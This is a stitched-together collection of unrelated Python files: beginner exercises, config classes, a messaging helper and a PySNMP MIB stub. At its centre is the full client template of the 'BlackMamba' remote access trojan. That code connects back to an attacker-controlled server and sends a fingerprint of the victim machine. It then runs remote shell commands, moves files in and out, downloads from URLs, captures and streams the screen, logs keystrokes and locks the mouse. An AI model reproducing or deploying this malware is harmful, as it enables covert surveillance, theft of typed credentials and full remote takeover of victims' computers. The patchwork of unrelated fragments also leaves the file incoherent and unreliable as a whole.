https://github.com/bFraley/Smirk/blob/master/LICENSE
File: service_event.py
About: Generic service event type used to build many types of
service events. The ServicesProcessor manages ServiceEvent(s).
Service Events represent actions implemented in Smirk's core,
like ParseEvent, ReadEvent, WriteEvent, etc. All functionality
leads to an instance of an event that is processed by the
ServicesProcessor"""
class ServiceEvent():
def __init__(self, smirk_event_type):
self.smirk_event_type = smirk_event_type
def get_smirk_event_type(self):
if isinstance(self.smirk_event_type, PreproccessedSmirkFile):
self.event_type = "parser_process_event"
|
def main():
project()
# extracredit()
# Create a task list.
# A user is presented with the text below.
# Let them select an option to list all of their tasks,
# add a task to their list,
# delete a task,
# or quit the program.
# Make each option a different function in your program.
# Do NOT use Google. Do NOT use other students. Try to do this on your own.
#
# Congratulations! You're running [YOUR NAME]'s Task List program.
#
# What would you like to do next?
# 1. List all tasks.
# 2. Add a task to the list.
# 3. Delete a task.
# 0. To quit the program
outsidefile = open("tasklist1","a")
# the most dangerous thing i learned today,
# you can COMPLETELY CHANGE EVERYTHING IN THE FILE
# HOW DO YOU ADD WITHOUT REPLACING?
def project():
userlist =["Thomas"]
tasklist = [{"name":"Thomas","taskList": "tasklist1"}]
print("are you a new user?\n Y/n")
for user in userlist:
print(user)
newUser = input("")
# if(newUser == )
if(newUser.upper() == "Y"):
userInputName = input("please enter name\n")
userlist.append(userInputName)
tasklist.append({"name":userInputName,"taskList":(f"tasklist{len(userlist)}")})
for person in userlist:
if(userInputName.lower() == person.lower()):
user = person
entry = True
break
if(newUser.lower() == "n"):
userInputName = input("please enter name")
if userInputName.capitalize() not in userlist:
print('user not in list')
entry = False
else:
for person in userlist:
if(userInputName.lower() == person.lower()):
user = person
entry = True
break
# for adding new user
if(entry == True):
print(f" welcome {user} what would you like to do?")
while(True):
command = input("View\tAdd\tRemove\tquit\n")
if(command.lower() == "quit"):
print("have a good day")
break
elif(command.lower() == "view"):
for person in tasklist:
if person["name"] == user:
print("taskList")
file = open(person["taskList"],"r")
print(file.read())
file.close()
elif(person["taskList"] == []):
print("no tasks")
elif(command.lower() == "add"):
newTask = input("What new task do you want to add?\n")
for person in tasklist:
file = open(person["taskList"],"a")
file.write(f"{newTask}\n")
elif(command.lower() == "remove"):
taskToRemove = input("What task do you want to remove?\n")
for person in tasklist:
if person["name"] == user:
readfile = open(person["taskList"],"r")
lines = readfile.readlines()
print(lines)
readfile.close()
editfiles = open(person["taskList"],"w")
for task in lines:
if(task != taskToRemove + "\n"):
editfiles.write(task)
editfiles.close()
else:
print("Invalid command please reinput command\nView\tAdd\tRemove\tquit\n")
else:
print("goodbye")
def extracredit():
Input = input("what do i put in there?")
outsidefile.write(f"\n{Input}")
if __name__ == '__main__':
main()
|
class BaseConfig(object):
"""Base configuration."""
WTF_CSRF_ENABLED = True
REDIS_URL = "redis://redis:6379"
QUEUES = ["default"]
# Exchanges
# BINANCE_KEY = os_get("BINANCE_KEY")
# BINANCE_SECRET = os_get("BINANCE_SECRET")
# BITMEX_KEY = os_get("BITMEX_KEY")
# BITMEX_SECRET = os_get("BITMEX_SECRET")
# Database
# SQLALCHEMY_DATABASE_URI = os_get("SQLALCHEMY_DATABASE_URI")
# SQLALCHEMY_ECHO = False
# SQLALCHEMY_TRACK_MODIFICATIONS = False
class DevelopmentConfig(BaseConfig):
"""Development configuration."""
WTF_CSRF_ENABLED = False
class TestingConfig(BaseConfig):
"""Testing configuration."""
TESTING = True
WTF_CSRF_ENABLED = False
PRESERVE_CONTEXT_ON_EXCEPTION = False
|
####################################################################################
# BLACKMAMBA BY: LOSEYS (https://github.com/loseys)
#
# QT GUI INTERFACE BY: WANDERSON M.PIMENTA (https://github.com/Wanderson-Magalhaes)
# ORIGINAL QT GUI: https://github.com/Wanderson-Magalhaes/Simple_PySide_Base
####################################################################################
"""
It is a base to create te Python file that will be executed in the client host. Some
terms of "body_script" will be replaced:
SERVER_IP
SERVER_PORT
SERVER_V_IP
CLIENT_TAG
SERVER_KEY
"""
body_script = r"""#!/usr/bin/python3
import os
import sys
import time
import random
import platform
from os import environ
environ['PYGAME_HIDE_SUPPORT_PROMPT'] = '1'
first_execution = True
system_os = platform.platform().lower()
if 'linux' in str(platform.platform()).lower():
if not 'screen on' in str(os.popen('screen -ls')).lower():
os.environ["QT_QPA_PLATFORM"] = "offscreen"
if first_execution:
if 'linux' in system_os:
os.system(f'chmod 777 {os.path.basename(__file__)}')
os.system('pip3 install requests')
os.system('pip3 install Pillow')
os.system('pip3 install pyautogui')
os.system('pip3 install wmi')
os.system('pip3 install pytest-shutil')
os.system('pip3 install cv2')
os.system('pip3 install pynput')
os.system('pip3 install PyQt5')
os.system('pip3 install PyAutoGUI')
os.system('pip3 install cryptography')
os.system('pip3 install opencv-python')
os.system('pip3 install mss')
os.system('pip3 install pygame')
os.system('pip3 install numpy')
elif 'windows' in system_os:
os.system('pip install Pillow')
os.system('pip install requests')
os.system('pip install pyautogui')
os.system('pip install wmi')
os.system('pip install pytest-shutil')
os.system('pip install cv2')
os.system('pip install pynput')
os.system('pip install PyQt5')
os.system('pip install PyAutoGUI')
os.system('pip install cryptography')
os.system('pip install opencv-python')
os.system('pip install mss')
os.system('pip install pygame')
os.system('pip install numpy')
client_tag_nb = (random.randint(int('1' + '0' * 30), int('9' + '0' * 30)))
with open(os.path.basename(__file__), 'r') as f:
_content = f.read()
f.close()
with open(os.path.basename(__file__), 'w') as f:
_content = _content.replace('first_execution = True', 'first_execution = False')
_content = _content.replace('client_tag = 0', f'client_tag = {client_tag_nb}')
f.write(_content)
f.close()
os.execl(sys.executable, os.path.abspath(__file__), *sys.argv)
import re
import time
import time
import uuid
import socket
import shutil
import select
import pathlib
import requests
import threading
import subprocess
import numpy as np
from mss import mss
from threading import Thread
import pygame
from zlib import compress
from cryptography.fernet import Fernet
try:
import pyautogui
except:
#print(1)
pass
try:
from pynput.keyboard import Listener
except:
pass
try:
import cv2
except:
pass
try:
from PyQt5 import QtWidgets
except:
#print(2)
pass
ip = 'SERVER_IP'
port = SERVER_PORT
port_video = SERVER_V_IP
client_tag = 0
status_strm = True
try:
pyautogui.FAILSAFE = False
except:
#print(3)
pass
try:
app = QtWidgets.QApplication(sys.argv)
screen = app.primaryScreen()
size = screen.size()
WIDTH = size.width()
HEIGHT = size.height()
except:
#print(4)
pass
def retreive_screenshot(conn):
global status_strm
with mss() as sct:
# The region to capture
rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}
while True:
try:
# Capture the screen
img = sct.grab(rect)
# Tweak the compression level here (0-9)
pixels = compress(img.rgb, 6)
# Send the size of the pixels length
size = len(pixels)
size_len = (size.bit_length() + 7) // 8
conn.send(bytes([size_len]))
# Send the actual pixels length
size_bytes = size.to_bytes(size_len, 'big')
conn.send(size_bytes)
# Send pixels
conn.sendall(pixels)
except:
# print('except_from_thread_streaming')
#print(5)
status_strm = False
break
def main(host=ip, port=port_video):
try:
global status_strm
''' connect back to attacker on port'''
sock = socket.socket()
sock.connect((host, port))
sock.send(f'{WIDTH},{HEIGHT}'.encode())
except:
#print(6)
return
try:
while status_strm:
# print('$starting_streaming')
try:
thread = Thread(target=retreive_screenshot, args=(sock,))
thread.start()
thread.join()
except:
break
except Exception as ee:
#print(7)
# print("ERR: ", e)
sock.close()
# pygame.close()
sock.close()
# pygame.close()
class Client:
def __init__(self):
self.timer_rec = False
while True:
try:
self.s = socket.socket()
self.s.connect((ip, port))
break
except Exception as exception:
#print("Exception: {}".format(type(exception).__name__))
#print("Exception message: {}".format(exception))
#print(8)
time.sleep(15)
self.tag = str(client_tag)
first_connection = True
self.initial_path = pathlib.Path(__file__).parent.absolute()
if first_connection:
os_system = str(platform.system()).lower()
# if os_system == 'windows':
fingerprint = ['system_info',
f'tag:{self.tag}',
f'python_version:{platform.python_version()}',
f'system:{platform.system()}',
f'platform:{platform.platform()}',
f'version:{platform.version()}',
f'processor:{platform.processor().replace(" ", "-").replace(",-", "-")}',
f'architecture:{platform.machine()}',
f'uname:{platform.node()}',
f'mac_version:{self.get_mac()}',
f'external_ip:{self.external_ip_addr()}',
f'local_ip:{self.local_ip()}',
f'status:off',
f'file_path:{os.path.abspath(__file__)}'
]
fingerprint = self.crypt(fingerprint, 'SERVER_KEY')
self.s.send(str(fingerprint).encode('utf-8'))
self.lock_screen_status = False
self.path_output = pathlib.Path(__file__).parent.absolute()
self.break_terminal = False
self.command_terminal = None
self.active_termial = False
self.kl_unique = False
self.stop_logging = False;
# print(f"OS => {platform.platform()}")
f = open('output.txt', 'wb')
if 'windows' in str(platform.platform()).lower():
self.proc = subprocess.Popen('cmd.exe', stderr=subprocess.STDOUT, stdin=subprocess.PIPE, stdout=f)
elif 'linux' in str(platform.platform()).lower() or 'linux' in str(platform.system()).lower():
self.proc = subprocess.Popen('/bin/bash', stderr=subprocess.STDOUT, stdin=subprocess.PIPE, stdout=f)
self.monitoring()
def call_terminal(self, command_server):
rmv_st = command_server
if command_server == '-restore':
try:
with open('output.txt', 'r') as ff:
strc = ff.read()
ff.close()
ansi_escape = re.compile(r'(?:\x1B[@-_]|[\x80-\x9F])[0-?]*[ -/]*[@-~]')
output_ansi = ansi_escape.sub('', strc)
strc = output_ansi
with open('output.txt', 'wb') as ff:
ff.write(bytes(strc, encoding='utf-8'))
ff.close()
with open('output.txt', 'rb') as gotp:
content_otp = gotp.read()
try:
content_otp = content_otp.replace(b'\\x00', b'')
content_otp = content_otp.replace(b'\x00', b'')
except:
#print(9)
pass
gotp.close()
time.sleep(2)
# string_output = content_otp.encode('utf-8')
# print(f'-RESTORE {content_otp}')
return content_otp
except:
#print(10)
time.sleep(2)
string_output = 'Has not possible to recovery the last STDOUT\.n'
# string_output = content_otp.encode('utf-8')
return string_output
elif command_server == '-restart':
try:
os.execl(sys.executable, os.path.abspath(__file__), *sys.argv)
return
except:
#print(11)
string_output = '\nWas not possible to restart the .\n.'
string_output = string_output.encode('utf-8')
return string_output
command = str(command_server)
#print(f'[{command}]')
# if command == "cls":
open('output.txt', 'wb').close()
os_sys = str(platform.platform()).lower()
if 'winwdows' in os_sys:
os.system('cls')
if 'linux' in os_sys:
os.system('clear')
time.sleep(0.1)
# else:
command = command.encode('utf-8') + b'\n'
self.proc.stdin.write(command)
self.proc.stdin.flush()
time.sleep(2)
with open('output.txt', 'r') as ff:
strc = ff.read()
ff.close()
ansi_escape = re.compile(r'(?:\x1B[@-_]|[\x80-\x9F])[0-?]*[ -/]*[@-~]')
output_ansi = ansi_escape.sub('', strc)
strc = output_ansi
with open('output.txt', 'wb') as ff:
ff.write(bytes(strc, encoding='utf-8'))
ff.close()
with open('output.txt', 'rb') as ff:
string_output = ff.read()
try:
string_output = string_output.replace(b'\\x00', b'')
string_output = string_output.replace(b'\x00', b'')
except:
#print(12)
pass
#print(f'to server -> {string_output}')
# string_output = string_output.encode('utf-8')
# print(string_output)
# try:
# print(string_output)
# except:
# pass
try:
check_stb = string_output[:len(rmv_st)]
if check_stb == bytes(rmv_st, encoding='utf-8'):
rmv_stb = bytes(rmv_st, encoding='utf-8') + b'\n'
#print(rmv_stb)
string_output = string_output.replace(rmv_stb, b'')
except Exception as exception:
print("Exception: {}".format(type(exception).__name__))
print("Exception message: {}".format(exception))
#print(f'final{string_output}')
return string_output
def monitoring(self):
while True:
try:
###########time.sleep(2)
# socket.settimeout(40)
#print('waiting')
self.s.settimeout(60)
string_server = self.s.recv(1024*1024).decode()
#print(f'string server -> {string_server}')
# socket.settimeout(45)
except Exception as exception:
#print("Exception: {}".format(type(exception).__name__))
#print("Exception message: {}".format(exception))
#print(13)
# caso desligue com lock ativo vvvv
self.lock_screen_status = False
##################################
self.s.close()
while True:
############time.sleep(2)
try:
self.s = socket.socket()
self.s.connect((ip, port))
os_system = str(platform.system()).lower()
# if os_system == 'windows':
fingerprint = ['system_info',
f'tag:{self.tag}',
f'python_version:{platform.python_version()}',
f'system:{platform.system()}',
f'platform:{platform.platform()}',
f'version:{platform.version()}',
f'processor:{platform.processor().replace(" ", "-").replace(",-", "-")}',
f'architecture:{platform.machine()}',
f'uname:{platform.node()}',
f'mac_version:{self.get_mac()}',
f'external_ip:{self.external_ip_addr()}',
f'local_ip:{self.local_ip()}',
f'status:off',
]
fingerprint = self.crypt(fingerprint, 'SERVER_KEY')
self.s.send(str(fingerprint).encode('utf-8'))
break
except:
#print(14)
time.sleep(15)
pass
# error aqui
time.sleep(1) ################1335
try:
rcvdData = str(string_server).replace("b'", "").replace("'", "")
except Exception as exception:
#print("Exception: {}".format(type(exception).__name__))
#print("Exception message: {}".format(exception))
#print(15)
continue
try:
rcvdData = bytes(rcvdData, encoding='utf-8')
str_content = self.decrypt(rcvdData, 'SERVER_KEY')
str_content = str(str_content).replace("b'", "").replace("'", "")
except:
#print(16)
continue
# print(f'recbido -> {str_content}')
# if not 'hello' in str(string_server) and str(string_server) != '' and str(string_server) != ' ':
if str_content != 'hello' and str_content != '' and str_content != ' ':
# print(f'S: {str_content}')
# response = self.identify(str(str_content))
response = self.identify(str_content)
# print(f'TO SERVER => -{response}')
try:
response = self.crypt(response, 'SERVER_KEY')
response = response.replace(b'b', b'%%GBITR%%')
# print('----------------')
# print(response)
# print('----------------')
# self.s.send(str(response).encode('utf-8'))
self.s.send(response)
del (string_server)
del (rcvdData)
del (str_content)
del (response)
except:
#print(17)
# 'ALERTA DE EXCEPT')
pass
# time.sleep(1)
def identify(self, command):
if '[SYSTEM_SHELL]' in command:
try:
command = command.replace('[SYSTEM_SHELL]', '')
response = self.call_terminal(command)
return response
except:
#print(18)
pass
elif '[FGET]' in command:
command = command.replace('[FGET]', '')
try:
with open(command, 'rb') as file_content:
f_ct = file_content.read()
file_content.close()
f_ct = self.crypt_file(f_ct, 'SERVER_KEY')
with open(f'{command}_tmp', 'wb') as file_cpt:
file_cpt.write(f_ct)
del (f_ct)
except:
#print(19)
content = 'An error has occurred, please try again.'
return content
try:
f = open(f'{command}_tmp', 'rb')
except:
#print(20)
content = 'An error has occurred, please try again.'
return
l = f.read(1024)
# print('Sending FGET')
time.sleep(2)
while (l):
try:
# l = self.crypt(l, 'SERVER_KEY')
# l = l.replace(b'b', b'%%GBITR%%')
# print(f'> {l}')
self.s.settimeout(5)
self.s.send(l)
except:
#print(21)
# print('except FGET')
break
l = f.read(1024)
f.close()
time.sleep(0.5)
# try:
# self.s.send(b'\\end\\')
# except:
# print('except no \\end\\')
# pass
try:
os.remove(f'{command}_tmp')
except:
#print(22)
content = 'An error has occurred, please try again.'
return content
time.sleep(5)
end_tag = '%&@end__tag@&%'
self.s.send(end_tag.encode('utf-8'))
# print('FIM')
return end_tag
elif '[FPUT]' in command:
# elif command.startwith('[FPUT]'):
command = command.replace('[FPUT]', '')
# continue
try:
for e in range(20):
self.s.settimeout(0.5)
clear_buff = self.s.recv(1024 * 1024 * 1024)
# 'buffer cleaned FGET')
except:
#print(22)
pass
try:
f = open(f'{command}', 'wb')
self.s.settimeout(25)
l = self.s.recv(1024)
# l = str(c.recv(1024))
# l = l.replace('b"', '')
# l = l.replace("b'", '')
# l = l.replace('"', '')
# l = l.replace("'", '')
# l = l.replace('%%GBITR%%', 'b')
# l = bytes(l, encoding='utf-8')
while (l):
# print(f'FRAGMENTO {l}')
# print(f'writing => {l}')
if '%@end_tag@%' in l.decode('utf-8'):
# print('a casa caiu')
break
f.write(l)
l = self.s.recv(1024 * 1024)
# l = str(c.recv(1024))
# l = l.replace('b"', '')
# l = l.replace("b'", '')
# l = l.replace('"', '')
# l = l.replace("'", '')
# l = l.replace('%%GBITR%%', 'b')
# l = bytes(l, encoding='utf-8')
f.close()
# print('FIM ARQUIVO\n\n\n')
with open(f'{command}', 'rb') as a:
b = a.read()
try:
b = self.decrypt(b, 'SERVER_KEY')
with open(f'{command}', 'wb') as c:
c.write(b)
except:
#print(24)
pass
except:
#print(25)
pass
elif '[@%WEBGET%@]' in command:
try:
with open('tmp_call', 'w') as tmpc:
tmpc.write(command)
except:
#print(26)
time.sleep(2)
return
thread_strmg = threading.Thread(target=self.webget_file, args=())
thread_strmg.daemon = True
thread_strmg.start()
time.sleep(2)
return
elif '[@%WEBRAW%@]' in command:
try:
with open('tmp_call', 'w') as tmpc:
tmpc.write(command)
except:
#print(27)
time.sleep(2)
return
thread_strmg = threading.Thread(target=self.webraw_file, args=())
thread_strmg.daemon = True
thread_strmg.start()
time.sleep(2)
return
elif '%get-screenshot%' in command:
# elif command.startwith('%get-screenshot%'):
try:
image = pyautogui.screenshot()
except:
#print(28)
return
image.save(f'screeenshot_{self.tag}.png')
time.sleep(0.2)
with open(f'screeenshot_{self.tag}.png', 'rb') as f:
content_image = f.read()
f.close()
# os.remove(f'screeenshot_{self.tag}.png')
with open(f'screeenshot_crypt_{self.tag}.png', 'wb') as f:
f.write(self.crypt_file(content_image, 'SERVER_KEY'))
f.close()
f = open(f'screeenshot_crypt_{self.tag}.png', 'rb')
# f = open(f'screeenshot_{self.tag}.png', 'rb')
l = f.read(1024)
# print('Sending PNG')
while (l):
# print(">>>", l)
try:
self.s.send(l)
except:
#print(29)
# print("break conexao");
break
l = f.read(1024)
f.close()
time.sleep(2)
try:
self.s.send(b'\\@%end%@\\')
except:
#print(30)
pass
try:
os.remove(f'screeenshot_{self.tag}.png')
os.remove(f'screeenshot_crypt_{self.tag}.png')
except:
#print(31)
pass
return
elif '%lock-screen%' in command:
# elif command.startwith('%lock-screen%'):
threadd = threading.Thread(target=self.lock_screen, args=())
threadd.daemon = True
threadd.start()
time.sleep(2)
return
elif '%unlock-screen%' in command:
# elif command.startwith('%unlock-screen%'):
self.lock_screen_status = False
time.sleep(2)
return
elif '%sv-init-live-video%' in command:
# elif command.startwith('%sv-init-live-video%'):
thread_strmg = threading.Thread(target=self.start_streaming, args=())
thread_strmg.daemon = True
thread_strmg.start()
elif '%start-kl-function%' in command:
# print(self.stop_logging, self.kl_unique)
if self.kl_unique:
return
else:
self.kl_unique = True
thread = threading.Thread(target=self.kl_main, args=())
thread.daemon = True
thread.start()
time.sleep(2)
return
elif '%stop-kl-function%' in command:
self.stop_logging = True
self.kl_unique = False
time.sleep(2)
return
elif '%print-kl-function%' in command:
try:
with open('kl_log.txt', 'r') as get_kll:
log_string = get_kll.read()
get_kll.close()
time.sleep(2)
return f'[@%HOST_SHELL%@]{log_string}'
except:
#print(32)
response = '\nHas not possible to open the keylogger log.\n'
time.sleep(2)
return response
elif '@%list-softwares%@' in command:
if 'windows' in str(platform.platform()).lower():
try:
data = subprocess.check_output(['wmic', 'product', 'get', 'name'])
data_str = str(data)
cont_tmp = []
cont_lst = f'[@%HOST_SHELL%@]'
except:
#print(33)
return
try:
for i in range(len(data_str)):
string_part = (data_str.split("\\r\\r\\n")[6:][i])
string_part = string_part.lstrip().rstrip()
if string_part != '' and string_part != ' ' and string_part != '"' and string_part != "'":
cont_tmp.append(string_part)
except IndexError as e:
#print(34)
pass
try:
for i in cont_tmp:
cont_lst += i + '\n'
except:
#print(35)
pass
return cont_lst
elif 'linux' in str(platform.platform()).lower():
try:
cont_lst = f'[@%HOST_SHELL%@]'
response = subprocess.getoutput('ls /bin && ls /opt')
# response = response.split('\\n')
cont_lst += str(response).replace("[", "");
time.sleep(2)
return cont_lst
except:
#print(36)
pass
else:
response = 'error'
return response
def start_streaming(self):
global status_strm
dir_path = os.path.dirname(os.path.realpath(__file__))
try:
# os.system(f'{dir_path}/vstrm.py')
status_strm = True
main()
except:
#print(37)
pass
def lock_screen(self):
self.lock_screen_status = True
while self.lock_screen_status:
pyautogui.moveTo(1, 1)
def windows_screenshot_stream(self, number):
try:
myScreenshot = pyautogui.screenshot()
myScreenshot.save(f'images/{number}.png')
except:
#print(38)
pass
def webget_file(self):
try:
with open('tmp_call', 'r') as tmpc:
command = tmpc.read()
os.remove('tmp_call')
command = command.replace('[@%WEBGET%@]', '')
command = command.replace('-webget', '').replace(' -f ', ',')
command = command.split(',')
url = command[0]
get_response = requests.get(url, stream=True)
file_name = url.split("/")[-1]
with open(command[1], 'wb') as f:
for chunk in get_response.iter_content(chunk_size=1024):
if chunk: # filter out keep-alive new chunks
f.write(chunk)
f.close()
except:
#print(39)
try:
os.remove('tmp_call')
os.remove(command[1])
except:
#print(40)
pass
def webraw_file(self):
try:
with open('tmp_call', 'r') as tmpc:
command = tmpc.read()
os.remove('tmp_call')
command = command.replace('[@%WEBRAW%@]', '')
command = command.replace('-webraw', '').replace(' -f ', ',')
command = command.split(',')
url = command[0]
html = requests.get(url).content
with open(command[1], 'w') as f:
f.write(html.decode('utf-8'))
f.close
except:
#print(41)
try:
os.remove('tmp_call')
os.remove(command[1])
except:
#print(42)
pass
# @staticmethod
def kl_main(self):
while not self.stop_logging:
with Listener(on_press=self.writeLog) as l:
# l.join()
while True:
if self.stop_logging:
l.stop()
self.kl_unique = False
self.stop_logging = False
return
time.sleep(1)
keydata = str(key)
# @staticmethod
def writeLog(self, key):
keydata = str(key)
# print(self.stop_logging)
try:
with open('kl_log.txt', 'r') as create_f:
create_f.close()
except:
#print(43)
with open('kl_log.txt', 'w') as create_f:
create_f.close()
with open("kl_log.txt", "a") as f:
if 'Key.space' in keydata:
f.write(' ')
elif 'Key' in keydata:
return
# f.write(f'<{keydata}>')
else:
f.write(keydata.replace("'", ''))
@staticmethod
def crypt(msg, key):
command = str(msg)
command = bytes(command, encoding='utf8')
cipher_suite = Fernet(key)
encoded_text = cipher_suite.encrypt(command)
return encoded_text
@staticmethod
def crypt_file(msg, key):
cipher_suite = Fernet(key)
encoded_text = cipher_suite.encrypt(msg)
return encoded_text
@staticmethod
def decrypt(msg, key):
cipher_suite = Fernet(key)
decoded_text_f = cipher_suite.decrypt(msg)
return decoded_text_f
@staticmethod
def local_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
lip = s.getsockname()[0]
s.close()
return lip
@staticmethod
def external_ip_addr():
try:
exip = requests.get('https://www.myexternalip.com/raw').text
exip = str(exip).replace(' ', '')
except:
#print(44)
exip = 'None'
return exip
@staticmethod
def get_mac():
# mac_num = hex(uuid.getnode()).replace('0x', '').upper()
mac_num = hex(uuid.getnode()).replace('0x', '00').upper()
mac = '-'.join(mac_num[i: i + 2] for i in range(0, 11, 2))
return mac
if __name__ == '__main__':
client = Client()
client.__init__()
"""
|
calculation_to_units = 24 # global vars
name_of_unit = "hours" # global vars
def days_to_units(num_of_days, custom_message):
# num_of_days and custom_message are local vars inside function
print(f"{num_of_days} days are {num_of_days * calculation_to_units} {name_of_unit}")
print(custom_message)
def scope_check(num_of_days):
# num_of_days is another local vars and is different than the one used in function days_to_units
my_var = "var inside function"
print(name_of_unit)
print(num_of_days)
print(my_var)
scope_check(20)
|
class Problem:
MULTI_LABEL = 'MULTI_LABEL'
MULTI_CLASS = 'MULTI_CLASS'
GENERIC = 'GENERIC'
class AssignmentType:
CRISP = 'CRISP'
CONTINUOUS = 'CONTINUOUS'
GENERIC = 'GENERIC'
class CoverageType:
REDUNDANT = 'REDUNDANT'
COMPLEMENTARY = 'COMPLEMENTARY'
COMPLEMENTARY_REDUNDANT = 'COMPLEMENTARY_REDUNDANT'
GENERIC = 'GENERIC'
class EvidenceType:
CONFUSION_MATRIX = 'CONFUSION_MATRIX'
ACCURACY = 'ACCURACY'
GENERIC = 'GENERIC'
class PAC:
GENERIC = (Problem.GENERIC, AssignmentType.GENERIC, CoverageType.GENERIC)
|
N,M = map(int,input().split())
ab_lst = [list(map(int,input().split())) for i in range(M)]
K = int(input())
cd_lst = [list(map(int,input().split())) for i in range(K)]
|
# hello.py
print('Hello World')
# python hello.py
# Hello World |
# O usuário deve digitar dois valores e o programa deve identificar se os valores são iguais ou diferentes#
def compare(a, b):
if (a==b):
print('Os números são iguais')
else:
print('Os números são diferentes')
n1 = int(input('Digite um número:'))
n2 = int(input('Digite outro número:'))
compare(n1, n2)
|
'one\n'
'two\n'
'threefourfive\n'
'six\n'
'seven\n'
'last'
|
# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------------------------------
class AzureTestError(Exception):
def __init__(self, error_message):
message = 'An error caused by the Azure test harness failed the test: {}'
super(AzureTestError, self).__init__(message.format(error_message))
class NameInUseError(Exception):
def __init__(self, error_message):
super(NameInUseError, self).__init__(error_message) |
# Copyright (C) 2019 Akamai Technologies, Inc.
# Copyright (C) 2011-2014,2016 Nominum, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
def reply_to(request, request_type=None):
_ctrl = {}
_data = {}
response = {'_ctrl': _ctrl, '_data': _data}
if request_type is not None:
t = request_type
else:
t = request['_data'].get('type')
if t is not None:
_data['type'] = t
_ctrl['_rpl'] = b'1'
_ctrl['_rseq'] = request['_ctrl']['_sseq']
s = request['_ctrl'].get('_seq')
if s is not None:
_ctrl['_seq'] = s
return response
def error(request, detail, request_type=None):
response = reply_to(request, request_type)
response['_data']['err'] = detail
return response
def request(content):
message = {'_ctrl': {},
'_data': content}
return message
def event(content):
message = {'_ctrl': {'_evt': b'1'},
'_data': content}
return message
def is_reply(message):
return '_rpl' in message['_ctrl']
def is_event(message):
return '_evt' in message['_ctrl']
def is_request(message):
_ctrl = message['_ctrl']
return not ('_rpl' in _ctrl or '_evt' in _ctrl)
def kind(message):
_ctrl = message['_ctrl']
if '_rpl' in _ctrl:
return 'response'
elif '_evt' in _ctrl:
return 'event'
else:
return 'request'
kinds = frozenset(('request', 'response', 'event'))
|
KAGGLE_SERVER_ID = 862766322550702081
SPAM_TIME = 5 # number of seconds between messages in the same channel
SPAM_AMOUNT = 5 # number of messages sent in or less :SPAM_TIME:
# seconds to be considered spam
SPAM_PUNISH_TIME = 10
MUTE_ROLE_ID = 12345 # ID of the role to use to mute members.
DATABASE_NAME = 'kaggle_30dML'
DATABASE_URL = ""
TOKEN = 'DISCORD BOT TOKEN' # Generated from discord's developer's portal |
'''
* Criar variaveis para nome(str), idade(int),
* altura (float), e peso (float) de uma pessoa
* Criar variavel como o ano atual (int)
* Obter o ano de nascimento da pessoa (baseado na idade e ano atual da pessoa)
* Exibir um texto com todos os valores na tela usando f-string (com as chaves).
'''
nome = 'Dilson'
idade = 53
altura = 1.75
peso = 80.5
ano = 2020
imc = peso / (altura * altura)
nasc = ano - idade
print(f'{nome} tem {idade} anos de idade, sua altura é de {altura}, seu peso {peso} e seu IMC é: {imc:.2f}')
print(f'O ano de nascimento da pessoa é: {nasc}')
|
# --------------
#Code starts here
#Function to read file
def read_file(path):
file = open(path, 'r')
scentence = file.readline()
file.close()
return scentence
path = file_path
sample_message = read_file(path)
print (sample_message)
message_1 = read_file(file_path_1)
print (message_1)
message_2 = read_file(file_path_2)
print (message_2)
def fuse_msg(message_a, message_b):
v = int(message_a)
m = int(message_b)
quotient = m//v
str(quotient)
return quotient
secret_msg_1 = fuse_msg(message_1, message_2)
print (secret_msg_1)
p = read_file(file_path_3)
message_3 = p
print(message_3)
def substitute_msg(message_c):
if message_c == "red":
sub = "Army General"
elif message_c == "Green":
sub = "Data Scientist"
elif mesaage_c == "Blue":
sub = "Marine Biologist"
return sub
secret_msg_2 = substitute_msg(message_3)
print (secret_msg_2)
message_4 = read_file(file_path_4)
message_5 = read_file(file_path_5)
print (message_4)
print (message_5)
def compare_msg(message_d, message_e):
a_list = message_d.split()
b_list = message_e.split()
c_list = [x for x in a_list if x not in b_list]
final_msg = " ".join(c_list)
return final_msg
secret_msg_3 = compare_msg(message_4, message_5)
print (secret_msg_3)
message_6 = read_file(file_path_6)
print (message_6)
def extract_msg(message_f):
a_list = message_f.split()
even_word= lambda x: len(x)%2 == 0
b_list = filter(even_word, a_list)
final_msg = " ".join(b_list)
return final_msg
secret_msg_4 = extract_msg(message_6)
print (secret_msg_4)
message_parts=[secret_msg_3, str(secret_msg_1), secret_msg_4, secret_msg_2]
final_path= user_data_dir + '/secret_message.txt'
secret_msg = " ".join(message_parts)
def write_file(secret_msg, path):
s = open(path,'a+')
s.write(secret_msg)
s.close()
write_file(secret_msg, final_path)
print (secret_msg)
|
#
# PySNMP MIB module MY-MEMORY-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/MY-MEMORY-MIB
# Produced by pysmi-0.3.4 at Wed May 1 14:16:30 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
Integer, OctetString, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "Integer", "OctetString", "ObjectIdentifier")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ValueRangeConstraint, ConstraintsUnion, ValueSizeConstraint, SingleValueConstraint, ConstraintsIntersection = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueRangeConstraint", "ConstraintsUnion", "ValueSizeConstraint", "SingleValueConstraint", "ConstraintsIntersection")
myMgmt, = mibBuilder.importSymbols("MY-SMI", "myMgmt")
ModuleCompliance, NotificationGroup, ObjectGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup", "ObjectGroup")
